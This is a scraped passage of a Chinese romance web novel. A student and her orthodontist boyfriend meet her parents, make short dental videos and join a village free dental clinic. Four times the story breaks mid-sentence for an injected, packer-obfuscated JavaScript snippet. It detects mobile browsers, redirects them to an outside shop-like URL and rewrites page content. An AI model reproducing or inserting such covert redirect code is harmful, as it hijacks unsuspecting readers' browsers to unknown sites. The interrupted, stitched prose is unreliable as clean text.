“咳,我是梁决,梁医生,现在也是陈心的男朋友,你们好。”梁决转身朝向乔艺和林梦,看不清神情,但语气像是在陈述医嘱一般平静。 “那个……对!我们刚在一起,还没来得及和你们说。”陈心蔫蔫地紧跟了一句。 “哇!真的嘛!恭喜恭喜!咱宿舍第一个脱单的哦!” “那你们继续,哈哈哈,我俩上楼了,告辞告辞!” “……” 片刻后,303宿舍内,三个嗷嗷待哺的吃瓜群众,外加一个当事人陈心。 不出所料,在室友熊熊燃烧的八卦之心下,陈心坦白从宽,并收获了三位忠诚的CP粉,“决心cp”在今天正式出道。 看着室友沉浸在“看别人谈恋爱要比自己谈恋爱还兴奋”的心情中,陈心莫名松了口气,觉得自己的室友们特别可爱,她脑子一热,扬言要请室友们吃大餐。 话说出口,她查了一下自己的银行卡余额,还好,除去缴纳正畸费用的大头,日常吃饭还是够的,一想到这儿,陈心不由得纠结起该怎么和许夏开口自己谈恋爱的事。 陈心的父母都是开明的人,对于女儿恋爱的事,一直秉承的都是不回避也不多过度关注的理念,嘴边最常叨叨的只有一句“要找真心喜欢的人”。 只是,如果这个人是梁决的话,陈心有点没那么自信了。 倒不是因为梁决不优秀,而是围绕在两个人之间的关系有些复杂,既有梁决和许秋的同门关系,还有她和梁决的医患关系,更何况她还在上学,大概父母更能接受她谈一段校园恋爱吧。 忽然,手机屏幕亮了起来,来电人是亲妈,许夏。 到底是母女连心,不,其实是姐妹同心,陈心预感到许秋已经把事情透露给了她的亲姐,而许夏等到晚上才打来电话,可能也是怕打扰到陈心白天上课。 果然,电话接起,没有寒暄,没有迂回。 只有许夏不无担忧的一句:“这个梁医生比你大六岁,你能谈明白吗?” *梁决内心os:伯母,请相信我是一个好人(卑微.jpg 陈心内心os:镜头里的梁医生好帅!突然不想发在网上了怎么办? 24. 第 24 章 第二次复诊的时间到了,陈心挂了方静医生的号。 方主任的独立诊室不大,但要比几个主治医生凑在一起的大诊室安静许多,诊室靠窗的位置摆了几盆浅绿色吊兰,叶片上挂着水珠,大概是早上刚喷过。 本来梁决说要陪她一起过来,但科室通知今年新入职医生上午去听讲座,所以两个人直接连面都没见上。 陈心躺在治疗椅上,配台护士给她系好一次性围兜,调整好无影灯的角度,方主任滑动椅子靠近过来。 “之后你就归我管了,小姑娘。” “不好意思,麻烦方医生了……” 陈心支吾着,有些脸红,好在方主任只调侃了她这么一句,便开始操作检查了。 因为是常规复诊,操作比较简单,换弓丝加力,没一会就完事了。 陈心跟方主任道了谢,出了诊室却没下楼,转头去了梁决所在的诊室。 “你找谁?”门口的护士看陈心眼熟,问了一句。 “哦,我的病历本落在梁医生桌上了,想去找一下。”陈心撒了个谎。 “叫什么名字,我给你找?” “不用不用,您忙吧,我拿了就出来!” 说着,陈心快步走到诊室的第二个操作间,磨砂挡板阻隔了护士追过来的视线,她悄悄在梁决的桌上放了颗橙子,橙子上还用黑色水笔画了个哭脸。 下午,陈心没课,拿着平板去图书馆写“梁医生说正畸”的脚本,本想是图清净,奈何坐在她对面的小情侣一直窃窃私语,陈心抬头瞟了对面的俩人几眼,这才安静下来。 直到快六点,她的手机震动了两下,原来是梁决看完最后一个患者和她报备自己要下班了,以及问起那个哭脸橙子是怎么回事? “能去找你吗?”陈心不答反问,迅速收了桌上的平板,准备往图书馆外走。 “你在哪,我去找你吧。”梁决似乎察觉出陈心的情绪不太对,让她在校门口等着就好。 秋末时分,天黑的越来越早,路灯照着校门口的熙熙攘攘,陈心穿了件毛呢大衣,勉强立起衣领缩着脖子抵挡寒风。 十米之外的马路对面,梁决一边跺脚一边等信号灯变绿,看起来也像个学生一样。 10、9、8、7……信号灯在倒数,两个人在对视。 这就是等待的迷人之处吗? 等待一个满眼是你的人目标明确地奔向你。 “不冷吗?耳朵都吹红了。”梁决跑到她面前,一开口带着凉丝丝的哈气。 “下午在图书馆,空调足,没想到一出来这么冷了。” “来,快围上。”说罢,梁决拉下藏蓝色冲锋衣的上半截拉链,解下围巾绕在陈心的脖子上,围巾裹着暖暖的温度,是经典的千鸟格图案。 “嗯……谢谢。”陈心给自己掖了掖下巴,揪着围巾的下摆问,“我们去哪儿?” “去按摩,怎么样?” “按摩?”陈心脑子里冒出一些不合时宜的画面。 “对,放松一下,离老孙粥铺不远,应该还开着。” 梁决说的按摩店,是一家开在居民楼旁边的盲人按摩店,干了不少年头了。 说来他之前因为天天低头做实验写论文,把脖子熬了个半废,现在天天弯着脖子看诊,颈椎的情况更加不容乐观,所以也是误打误撞走上了找人按摩这条路,并且效果意外的还不错。 “心情不好?因为学习上的事?”往按摩店走的路上,梁决才开口问起哭脸橙子的由来。 “没有。” “那就是生活?” “嗯。” “是我的原因吗?” “也不完全是。”陈心点头又摇头。 “那是?” “我妈妈知道我谈恋爱了。” “嗯?不会是阿姨不赞成你上学阶段……早恋?” “才不是。” “那为什么?” “梁决,我说了你别生气,我妈妈觉得你比我成熟太多了,怕我吃亏。” “……” 梁决没生气,但确实被这个答案噎了一下。 想想也是,他一个即将奔三的老男人,事业刚刚起步,而对方还是校园里妥妥的阳光女大,前途似锦,他着实有老牛吃嫩草,占人家小姑娘便宜的嫌疑,可能在人家女孩父母眼里,他的嫌疑还很大。 “我能理解。”沉默了一会,梁决才憋出这么几个字,“所以你是因为这个不开心?” “对,因为我不想我妈妈一开始就对你有不好的印象,我们传播学上这叫‘首因效应’,这种印象一旦形成就很难改变,对你不好的事,我都不想。” “这样啊,我的学霸女朋友,真可爱。” “啊?”陈心疑惑地扭头看他,只见梁决神态自若,眼里还噙着笑意。 “到了,先按摩。”梁决忽然停下脚,手一指眼前的招牌,“先别想了,我有办法。” 一进按摩店,屋里的暖气瞬时拥了上来,两个人把外套脱下来挂在一边,梁决去和按摩师沟通,陈心初来乍到地打量着店里的布置,很整洁,也很温馨。 通常来讲,专业的盲人按摩师傅虽然存在视觉障碍,但并不影响和顾客的简单交流,甚至能凭借视觉之外的感官更好理解顾客的需求。 陈心第一次体验盲人按摩,刚趴在床垫上的时候还有点忐忑,脖颈不自觉地绷紧,但没过一会,就舒服地要昏昏欲睡了。 店里的盲人按摩师都经过残联的职业培训,手法专业,力道精准,价格也很划算,因此积累了不少回头客。 “是不是还不错?”梁决隔着一张床位慵懒地问。 “嗯,你带我来的都是宝藏店铺呢,眼光不懒啊,梁医生。”陈心冲他比了个大拇指。 “那当然,你没发现我找女朋友的眼光更好吗?” “……” 陈心听出他话里的意思,害羞的把头扭到另一边,只留给梁决一个扎着蓬松丸子头的后脑勺。 梁决见她情绪转好,于是试探着问:“陈心,你是不是来T市上学之后,有三个月没回家了吧?” “嗯。” “这周末有空吗,回去一趟?” “嗯?” 陈心唰地扭过脸来,没明白梁决这是唱的哪出? “我开车,咱们各回各家,中间顺便去阿姨叔叔那拜访一下,给我个以正视听的机会。” “什么?让我考虑考虑……” 从按摩店出来之后,陈心还是有点懵,自己是怎么答应梁决要一起回S市的?这是要见家长的节奏吗?这进展也太快了吧? 或许母亲大人说的没错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984615|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,梁决谈恋爱确实有两把刷子。 周六早上六点半,晨雾将散未散,梁决的牧马人已经停在陈心的宿舍楼下了。 陈心拉车门的时候,心里还有点说不上来的感慨,这是她第一次坐梁决的车,这辆曾让她在高速上怀疑自己被尾随的车。 “早。”梁决见她扣好安全带后,递过去自己刚刷校友卡买的早饭,一杯豆浆和一个土豆馅饼,然后不忘调侃道,“小同志很有自觉,上来就奔副驾,我还怕你往后座跑,提前锁了后面的车门。” “咳咳!那不然呢?”刚吸了一口甜豆汁,陈心差点被呛到。 “没有不然,继续保持。”梁决方向盘一打,启了车子。 路上,清冽的阳光洒进车内,陈心用胳膊肘撑着脑袋,今天比平时上早八起得还早,此刻她感到上眼皮同下眼皮直打架。 “要睡会吗?”梁决余光注意到陈心一副强打着精神的模样,关了车载音乐,把车内温度调高了些。 “嗯,到服务区叫我。”下一秒,陈心脑袋一歪,彻底陷入了梦乡。 经过高速收费站,有三四辆私家车在前面排队,梁决这才完全偏过头来认真注视着身旁的人,可爱、美丽、聪慧、善良,有太多美好的词汇去形容,但一切的词汇又那么单薄,千言万语,都不及这样优秀的女孩在自己身边安睡。 梁决低头弯了下嘴角,毫无疑问,他是幸福的。 上午九点多,距离目的地最近的一个服务区,梁决停稳车子,松了安全带,侧身轻轻拍了拍陈心的肩膀。 “小睡神,醒醒了,醒醒。” “呼呼——” “……” 等待片刻,梁决决定先下车,他有段时间没跑高速了,这小半上午感觉还有些疲劳,在空地上左右活动了两下身体后,他转到副驾驶那一侧,有手指敲陈心的车窗。 “咚!咚咚!咚咚咚!” “谁?嗯?”陈心迷糊着,揉了揉眼睛,降了一小截车窗问,“你怎么下车了,到了?” “对,服务区,吃烤肠吗?我去买两根。” “吃!”一听要买吃的,陈心来了精神,作势也要下车一起去。 “刚醒了冷,先在车里坐会。”梁决示意她把车窗摇上去,又指了指服务区餐厅的方向,让陈心等他就好。 “那你快点回来~”陈心完全没意识到刚睡醒的自己有多么黏人。 “好。” 烤肠之于高中时代的陈心,简直是不可多得的美味,尤其是裹满了调料粉的淀粉肠,三块钱一根,五块钱两根,她和同桌总是一起拼单,不知抚慰了多少个饥肠辘辘的晚自习时光。 只是没想到梁医生这样的高冷帅哥也喜欢吃烤肠,有点奇妙,又有点想笑。 在服务区休息了一会,车子再次启程,按照原定的计划,梁决先送陈心回家,等到明天中午他再登门拜访。 上大学后,这还是陈心第一次回家,从T市回S市,车窗外是愈来愈熟悉的街道和商场,车水马龙的寻常周末,她竟有些近乡情怯。 这次回来,她没有提前知会许夏,打算给她们一个惊喜。 当然,也有可能是惊吓。 梁决内心os:勇敢小梁,阿姨叔叔看我的! 陈心内心os:按摩舒服,烤肠好吃,梁决加油哦! 25. 第 25 章 周日中午,陈心坐在客厅给梁决偷偷发消息:“你还有多久到?” “导航显示大概还有十七分钟。”梁决开车不好打字,直接发来了一条语音。 “那我让你记住的那些话,背熟了没有?” “放心,医学生最懂怎么考前突击了,保证倒背如流。”梁决的语气里透着上辈子当好学生的自信。 “你别贫!我现在紧张死了!” “呸呸呸,什么死不死的,好好活着,我们的路还长着呢!”梁决有点迷信地纠正道,“不说了,马上到,一会见。” 这边安抚完陈心的情绪,梁决深呼了一口气,他让陈心别紧张,自己却鼻尖直冒冷汗。 俗话说,丑媳妇早晚要见公婆,尽管他今天特地穿了件有少年气的派克服,连发型都捯饬了两下,甚至出门前还吃了片美托洛尔,但仍然难以抑制一颗狂跳的心脏。 这种紧张感,相当一部分源于陈心昨晚发来的一长串教科书式的对答模板,以及包括但不限于陈心爸妈的职业介绍、生活喜好等的应知应会知识点。 总而言之,大考当前。 当梁决停好车,从后备箱拎出礼盒,顺利找到单元楼,爬上三层楼梯,在302门口站定,抬左手去按门铃时,他注意到自己腕上运动手表上的心跳监控次数飙升到120下。 他从未觉得自己的心理素质这么差。 门铃声还没响过一个循环,门内的脚步声越来越近,梁决突然觉得自己面部僵硬,都不会笑了。 “呦,梁医生吧?快请进!”开门的是陈心爸爸陈忠礼,笑容和蔼,有点老领导的气势。 “叔叔好,我是梁决,您叫我小梁就行。”梁决微微弯腰进了门,一眼就瞅见坐在客厅看好戏的大小姐陈心,到底是谁刚才还说紧张死的? “好好好,小梁,你坐你坐,陈心妈妈在厨房忙活,我喊她出来打个招呼。” “不用了,叔叔,我正好去洗个手,直接和阿姨问个好。” “对,你们当医生的卫生习惯就是好,进门得洗手,出门得带着那种喷酒精的小瓶。” “嗯,哈哈……”梁决心想,他倒也没有这么刻板。 一番寒暄下来,梁决发现陈心的父母都是通情达理的体制内人士,没有他设想的那么可怕,叔叔阿姨之前的担心并不为过,一言以蔽之,爱女心切罢了。 午饭的点,许夏准备了四菜一汤,家常味道,也算丰盛。 “小梁,当医生很辛苦吧?”许夏给他夹了颗虾仁,“多吃点,别见外。” “谢谢阿姨。”梁决听话地咬了口虾仁,接着回答道,“我刚上班,不算太忙,单位氛围很好,大家互相都很照顾,所以还比较顺心。” “是嘛真好,我早听我妹就是你师姐说起过,你从T大的时候就是好学生,毕业了留在T大口腔医院上班,真是个优秀的孩子。” “阿姨,您过奖了,我还得努力,而且要为我和陈心的未来更加努力。”说到这,梁决看了一眼陈心,目光有些灼热。 “你这句话说到我和她爸爸的心坎里了,陈心比你小六岁,现在又一个人在外地上学,我们有时候想帮忙都使不上劲,现在你们两个人谈恋爱了,我们心里是既高兴又忐忑,就担心……” “哎哎!我的母亲大人,您先别说了!菜都要凉了,真是的……”陈心对于自己成为话题中心感到有些不自在,用筷子在空气中胡乱比划了两下,试图打破现在的凝重气氛。 “对!先吃菜先吃菜。”陈忠礼带头夹了一筷子青菜,附和宝贝女儿的提议,“有话饭后慢慢聊,先好好尝尝陈心妈妈的手艺。” “就是就是,听我爸的。”陈心给自己夹了块糖醋排骨,刚啃了一口,下一秒就难以置信地发出求救,“啊?坏了!我好像……硌到托槽了!” “……”梁决刚才想提醒她吃饭要小心,但还是迟了一步。 “什么托槽掉了,别急别急!”陈忠礼站起身来,颇有部署工作的感觉,“哎那个小梁,正好你快看看,这个你在行。” “这……”梁决立马放下筷子,一手固定住陈心的后脑手,一手托住她的下巴,凑近了边检查边问,“左边右边?是后面的这颗槽牙吗?” “好像是,反正感觉托槽在钢丝上来回跑。” “叔叔阿姨,要不我带陈心去诊所处理一下吧?”梁决的语气像是在请示领导,接着解释道,“掉托槽倒是不用紧张,但需要专门的牙科器材,现在这样也不是办法。” “行就听你的,小梁啊,需要先在手机上约个号吧?”许夏焦急地问,“不对,中午这个点,医生也不上班啊?” “那个不用阿姨,我家就开了个小诊所……不用挂号,我给陈心看就行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984616|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诊所?”陈爸陈妈惊奇地异口同声。 “妈,那个……还没来得及和你们说。”陈心莫名觉得有些难以启齿的凡尔赛,“市中心那家齿美矫正就是梁决爸爸开的。” “对,叔叔阿姨,你看这不派上用场了吗,哈哈……”梁决也是有点尴尬。 “那、那你们快去吧!别从家里耽误时间了,快去!”陈爸陈妈反应过来后,立马催着俩人抓紧出门,一遍催一边不忘说着给梁决爸爸妈妈带好的客气话。 驱车十来分钟,S市和平大街14号,齿美矫正诊所门前。 陈心万万没想到自己竟是以这种方式第一次来到梁决家的诊所。 诊所委身在林立的写字楼中,米白色的诊所外装潢,透明玻璃窗可以窥见几间区隔的操作台,这哪是梁决口中的小诊所?明明更像是主打高端服务的私人牙科医院。 “你爸爸今天在吗?” “说不准,可能会在他的办公室午休,你想打个招呼吗?” “不打的话,是不是不太礼貌……” “不会,我去见你的爸爸妈妈,只是想消除她们的疑虑,至于去见我的父母,我尊重你的想法,如果觉得现在还太早,那就以后再说。” 听梁决这么说,陈心愣了一下,她觉得自己真是捡到宝了,所谓感情里的理解与包容,都抵不过一句“由你决定,听你的。” “既然没想好,那就先看牙?”梁决牵着陈心的手腕进了诊所,领她进了一间独立诊疗室,“我去准备一下,你躺好。” “哦。” 当无影灯亮起的时候,陈心闭上了眼睛,她觉得很安心,静静感受着梁决拉开她的嘴角,打开托槽的锁扣,取出弓丝,重新抛光牙面,粘接托槽。 “之后吃东西,一定要注意,另外,方老师最头疼频繁掉托槽的患者了,白耽误时间。” “嗯,记住了,梁医生。” “这会又是梁医生了?”梁决摘了医用口罩,笑眯起眼睛,“起来吧,漱漱口。” “好。” 临走前,梁决给前台的小护士留了张字条,拜托她等会转交给院长,字条上是这么写的——爸,我刚才无偿使用了您的VIP诊室,接诊对象是您未来的儿媳妇,儿子梁决。 梁决内心os:男友力Max~ 陈心内心os:星星眼~ 26. 第 26 章 从S市回来后,两个人重新回归到各自的忙碌。 这边,梁决抽空去和程烨见了一面,给他捎了S市的特产,这是兄弟俩从大学起就培养的默契,只要梁决从家返校,程烨就等着这人来找他上供,哥俩顺便喝点小酒,聊聊闲天。 “不?梁子你这谈恋爱的速度堪比坐火箭啊!”程烨一边嚼着花生米一边感慨,没想到眼前这位仪表堂堂的前室友,竟然已经去拜见了女方父母,了不起。 “别说我了,你不也春风得意?”梁决闷了口酒,“能追到夏晴,算你小子走运。” “我还真就是运气好,没办法,兄弟我人格魅力太大,当然多亏有你衬托,谢谢啊!” “少废话,喝酒。” “喝喝喝!” 另一边,陈心把“梁医生说正畸”的拍摄事宜提上日程,去掉陈心有课和梁决坐诊的时间,终于把拍摄时间定在了周三下午,地点就是梁决的休息室。 只有真正上手准备,陈心才体会到拍短视频并没有她想象中那么容易,拍摄前的脚本撰写,拍摄中的随机应变,后期的剪辑微调,每一步都事关作品的呈现。 好在她的出镜对象十分优秀,不仅在现场能做到一遍过不NG,而且凭借一张棱角分明的帅脸省了后期的美颜。 “大家好,我是正畸医生梁决。今天要和大家聊的一个话题是‘牙套脸’,不少前来咨询的患者都很担心自己在正畸后期出现‘牙套脸’的问题,其实……” 陈心最后校对了一遍视频字幕,然后把样片发给了梁决,请他提提意见,很快得到的答复是:无可挑剔。 于是,“陈小姐的整牙日记”账号新增了一个专栏列表,列表里正式发布了第一期“梁医生说正畸”,视频文案里还打了几个引人眼球的tag,比如#T大口腔医学院院草#最帅牙医#正畸旺桃花…… 视频刚发出去没多久,迅速收获账号铁粉的强势围观,评论区顿时热闹起来—— “哇!竟然是梁医生本尊!码住!” “救命,声音好好听!梁医生有意向兼职声优吗?” “他讲了什么,怎么我只顾着看脸了,我气我自己!” 陈心一条条往下翻,看到有意思的评论就截图发给梁决,再一刷新又多出好几条新的,一天下来,账号竟然涨了百十号粉丝。 颜值就是生产力,颜值叠加专业知识,就是绝杀。 陈心把这条视频转到家庭群里,毫无意外地得到陈爸陈妈的一致认可:小梁这孩子,真是越看越顺眼! 人逢喜事精神爽,陈心这几天上早八都不犯瞌睡了,一有空就赶制新的脚本,然后趁梁决的休息时间拉住他多录几期,并且把专栏视频的更新频率升级为一周三更。 “陈心,你也太拼了!”室友见她熄灯后还在剪视频,不由得感叹,“爱情的力量是真伟大!” “什么爱情?这明明是我熊熊燃烧的事业心!”陈心腾出一秒钟时间为自己争辩。 “成,祝您事业成功,先睡了。” “晚安。” 陈心的事业果然不负重托,两个礼拜后,粉丝数突破了五百大关,虽然大部分是奔着梁决来的,但数据实打实地涨在陈心的账号上,她还是很有成就感的。 借着这个由头,陈心决定请梁决吃顿大餐。 “大餐?” “对啊,过了这村可没这店了,餐厅你挑,我来买单。” “那我可得挑个贵的,一会定位发你,正好有别的事想征求你的意见。” “成交。” 梁决口中的别的事是义诊。 T大口腔医院每年都会组织年轻医生到附近的村镇做医疗援助,今年的主题是“守护儿童口腔卫生”,暂定是去镇上的一所小学和初中做宣教,安排了检查口腔状况和简单干预治疗的环节,最后会给每个孩子赠送一套洗漱用具。 医院开动员会的时候,鼓励大家积极报名,梁决所在的正畸科分配到两个名额,其中一个是他,还有一个是前几年入职的小护士。 前几天,科室主任把梁决叫到办公室说起义诊的事,冷不丁提了一句“可以带上你的小女朋友,帮忙拍拍照什么的,留个宣传资料。” 自从“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984617|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁医生说正畸”横空出世,不敢说整个T大口腔,最起码梁决所在的正畸科室里的大小医生都关注了“陈小姐的整牙日记”,无人不知梁决谈了个在T大读研的女朋友,还是会拍摄会剪视频的女朋友。 有这样一位全能的“医生家属”,科室里还愁没处发光发热呢,这不机会来了,而且为了体现出诚意,科室主任还允诺了志愿学时,主打一个不白来。 傍晚七点,T市一处繁华商场四楼,一家西北菜。 “你觉得这个提议怎么样?”梁决喝了一口沙棘汁,等陈心的回答。 “嗯……志愿学时还是挺诱人的。”陈心也喝了一口沙棘汁,太酸了,她想不明白梁决为什么选这家店。 “其实义诊是一次很特别的人生经历。”梁决看陈心蹙着眉头被酸到的样子,拿起筷子给她夹了一块黄米凉糕,“我还记着之前上学的时候跟着穆导师参与医援,虽然只是打打下手,但一天忙活下来,晚上回到宾馆沾枕头就睡。” “我们这次也要在外面住宿吗?”陈心咬了一口黄米凉糕,软软的,带着桂花的香甜味,她喜欢。 “可能会住一晚。“梁决看她眉头舒展,“一般是订标间,正好我们科有个女同事这次也去,你们可以住一间。” “好啊,我没问题。” “那行,明天上班我和主任汇报一下,他现在可是你的铁粉。” 一听到粉丝,陈心拍了下脑门,差点把今天这顿饭的主题忘了:“来来来,咱们先以大麦茶代沙棘汁,隆重庆祝‘陈小姐的整牙日记’粉丝破500!还要感谢梁医生的友情出镜!” “对,恭喜我们美丽的陈小姐,预祝早日破1000!”梁决举杯碰了一下,“但我要纠正一下,我这不是友情出镜,是爱情。” “……”陈心觉得他说的对。 结账的时候,梁决竟然提前付了款,给出的理由充满了关爱与挑衅——上班的怎么能让上学的掏钱,这次先欠着,以后有的是机会还。 梁决内心os:不机灵是不会有老婆的! 陈心内心os:沙棘汁,哒咩! 27. 第 27 章 几天后,陈心收到梁决发来的日程安排表,义诊为期两天,副院长杨平带队,15名医生8名护士2名志愿者,大家周四早上统一从医院坐大巴出发,周五傍晚返回。 临近期末月,陈心选的几门课陆续结课,正好空出周四周五的时间,因此只需和辅导员说明事由,假倒是很容易就批了。 临出发的前一晚,梁决不放心地发来消息:镇上要比市区冷,带好厚衣服。 没隔一会,又发来一条:明天路途颠簸,车上不好补觉,早休息。 陈心把手机放桌上充电,洗漱完才看到消息,她一边往脸上摸面霜一边打字:嗯,明天见,梁医生~ 想了想,又发过去一个可爱猫猫的表情。 消息刚发出,对面立即弹出新的消息:明天见,陈心。 周四,晨光熹微,陈心轻声从床上下来,又轻声去洗漱,看室友们睡得安稳,她背上包出发了。 医院门口停着一辆大巴,司机师傅站在离车门两步远的位置,一手夹烟一手拿着名单核对上车人的姓名。 “叫什么,陈心是吧?” “对,师傅,应该是在志愿者姓名那一栏。” “得嘞,你这名字好找,上车上车。”司机师傅大手一挥,放行一位。 陈心来得早,车上才坐了几个人,她不认识人家,人家也看她眼生,但既然大家都坐一个车,那就都是去义诊的,所以还是互相礼貌性点头笑了笑。 过了一会,陈心隔着车窗看见梁决小跑过来,迎着刚升起的太阳,风尘仆仆的样子。 梁决只背了个斜挎包,两只手揣在冲锋衣的口袋里鼓鼓的,上了车,他先被坐在前排的领导拉住寒暄,又接连帮几位女同事托了一把行李,等走到陈心面前时,感觉过了一个世纪那么久。 “吃饭了吗?给,尝尝这个。”梁决从口袋里掏出一个蒙着水汽的塑料袋,“我们医院的鸡蛋灌饼,今天早不用排队,平时都不一定能抢上。” 陈心像接过一个暖宝宝,手心热热的,心里也热热的。 “你不吃吗?” “我还有啊,这儿。”说着,梁决从另一个口袋里又掏出一个鸡蛋灌饼。 “哦。”陈心憋回去了刚才感动的眼泪。 等两个人闷头吃完早饭,梁决还来得及下车扔趟垃圾,司机师傅这才启动车子。 因为出发时间早,躲开了早高峰的拥堵,大巴很快上了高速,飞驰奔向目的地——云头镇。 “哎梁医生,不介绍一下?刚才就想问了。”坐在梁决后排的一个男医生终于忍不住好奇,伸手拍梁决的肩膀,眼睛却朝陈心瞟。 陈心自然感受到注视过来的目光,有点害羞地低头,比起害羞,她更想知道梁决怎么回答。 “这很难猜吗?咱们这次义诊的志愿者啊。” “……”不愧是你。 “没劲了啊,梁医生,你、你这不说实话……” “我还以为大家早都看出来了,还用我说?“梁决正经不过三秒,但下一句是认真的,“陈心,我、女、朋、友,多关照。” 此话一出,方圆几排的医生护士纷纷闻声扭过头来,一副磕到了的表情。 “……”陈心想给自己找个地缝钻进去,或者她不应该在车里,应该在车底。 “梁医生,你们怎么认识的?” “梁医生,我能加个小姐姐的微信吗?” “梁医生,是你追的人家吧?” “咳咳!”梁决战术性清嗓子,然后翻包掏出保温杯喝水,“个人隐私,无可奉告。” 当事人摆出一副三缄其口的架子,周围人也不好自讨没趣,转而讨论起其他话题,不一会儿,车内逐渐安静下来,刷手机的刷手机,补觉的补觉。 上午十点半,大巴驶入云头镇政府的小院,镇长王卫国带着几个科员守在大门口,见大巴一停,车上的人陆续下来,王卫国立马扬起笑脸迎过去。 “杨院长,欢迎欢迎啊!路上辛苦了!外面冷,咱们快进楼里暖和!” “王镇长客气,走走走,一起!” 一行人浩浩荡荡地走进镇政府的办公楼,直接上二楼有间简朴的接待室,刚能坐下三十个人,镇上的小科员忙着沏茶倒水,热情又麻利。 义诊的第一项日程是座谈,王卫国向杨院长介绍了云头一小和云头初中的学生情况,以及镇医院能实现的牙科治疗项目,总的说来,条件艰苦,大家还顾不上牙齿健不健康的事。 听完镇上的情况,杨院长也把这次义诊的分工作了简要介绍,医生们会分成几个治疗小组,既有负责初诊检查的,又有负责对症治疗的,前后方配合。 梁决坐在会议桌的内圈,陈心坐在最外面方便走动拍照片,梁决低头记笔记时,陈心抓拍了一张,梁决作为年轻医生代表发言时,陈心又抓拍了一张,拍来拍去,快拍成梁医生的个人写真。 座谈结束后,义诊的大部队先去镇上的招待所办了入住,然后又在王卫国的邀请下去镇政府的食堂吃了个工作餐,饭后简单休息准备,下午两点大伙儿再乘车去云头一小正式开始义诊。 午后的云头一小,亮眼的阳光笼罩着三层教学楼,学校腾出来两间活动室供义诊使用,梁决和牙周科的一位男医生分到一组,两人都是今年进的医院,之前打过几次照面。 “哎梁医生,你们正畸科是不是美女患者特别多?不像我们科今天一个牙龈红肿明天一个全口松动,患者还都实在坚持不了了才来,好家伙,张嘴一看……” “……”梁决投以同情的目光。 “对了,上午忙着拍照的小姐姐,真是你女朋友啊?我咋还听了一耳朵说她是你患者,是不是搞错了?” “现在不是了,我们后来才在一起的。”梁决解释了句。 “哦哦,还真是误会了。” “准备看诊吧。”梁决确实不是自来熟的性格。 云头一小一共有6个年级12个班,学生主要来自周围的几个自然村,她们的父母大多在县城打工,早出晚归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984618|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,聚少离多,别说管学习了,有的甚至说不上来孩子读到几年级。 孩子们的笑脸纯真无邪,牙齿情况却不容乐观,除了龋齿、牙列拥挤等常见问题,还有少数孩子有严重的地包天、偏颌等需要早期干预的问题,短短一个下午,梁决不知道在心里叹了多少次气。 来义诊之前他不是没有想过任务艰巨,但还是被眼下的实际情况震惊到了。 从T市城区开到云头镇不过一个多小时,可两种环境成长起来的孩子却仿佛隔着一道天堑,一边是家长准时带小孩到医院接受涂氟治疗,一边是牙齿蛀掉了大半还从未接受过牙科治疗。 梁决突然感到一种无能为力。 “喂!梁医生,在想什么?”陈心拿着相机朝梁决走来。 “在想怎么还有这么多小朋友没看。” “慢慢来嘛,要不先看看我拍的照片?” “好。”梁决摘了医用手套,接过单反一张张划动着看。 “你看,这张是一个三年级的小朋友,他一开始特别害怕医生,怎么都不肯张嘴,我就哄他说等检查完把相机借给他玩,他就可听话了。” “还有这张,棉袄上别着三道杠的小姑娘,她特别有礼貌,一直帮着医生维持秩序。” “这张特别巧,我刚要按快门,一个小朋友突然跑到镜头里,就抓拍到他呲牙笑。” 每张照片都有故事,陈心像一个讲解员,梁决听得入神。 直到傍晚六点,太阳落下山,云头一小的义诊才全部结束,校长和几位老师把他们送上大巴,热情地摆手说再见。 等回到招待所,陈心才发觉身体疲惫,和她同住的护士姐姐更是直接栽进不算柔软的床铺,累的一句话也不想说。 晚饭的时候,陈心从镇政府的食堂简单填了填肚子,梁决则还在和其他医生们开会,杨院长根据今天的情况,重新调整明天的义诊安排。 晚上九点多,梁决发来一条消息:“出来走走?” “现在?” “对,出来的话,我在一楼前台等你。” “好。” 